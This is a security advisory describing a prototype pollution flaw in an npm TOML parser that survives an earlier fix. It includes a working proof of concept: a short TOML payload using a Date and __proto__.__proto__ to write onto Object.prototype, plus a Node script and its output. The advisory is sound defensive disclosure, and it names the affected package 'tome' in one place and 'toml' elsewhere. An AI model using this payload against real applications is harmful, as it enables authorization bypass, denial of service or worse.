GHSA-h895-cgqg-jf52

Suggest an improvement
Source
https://github.com/advisories/GHSA-h895-cgqg-jf52
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-h895-cgqg-jf52/GHSA-h895-cgqg-jf52.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h895-cgqg-jf52
Aliases
Published
2026-10-22T16:39:55Z
Modified
2026-10-22T16:45:03Z
Severity
  • 8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X CVSS Calculator
Summary
toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype
Details

Summary

CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

Details

Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.

1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:

287:  function quoteDottedString(str) {
288:    if (str.indexOf(".") > -1) {
289:      return "\"" + str + "\"";
290:    } else {
291:      return str;
292:    }
293:  }

So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:

 93:      target = target[k];
...
103:    target[lastKey] = reduced;

A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.

Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.

mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"

Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.

// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js
before: undefined
after:  "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

Impact

Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in assign(), apply the same check the intermediate descent already uses — after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.

Database specific
{
    "cwe_ids":  [
        "CWE-1321"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-22T16:39:55Z",
    "nvd_published_at":  "2026-10-21T21:17:56Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / tome

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.0.1

Database specific

last_known_affected_version_range
"<= 5.0.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-h895-cgqg-jf52/GHSA-h895-cgqg-jf52.json"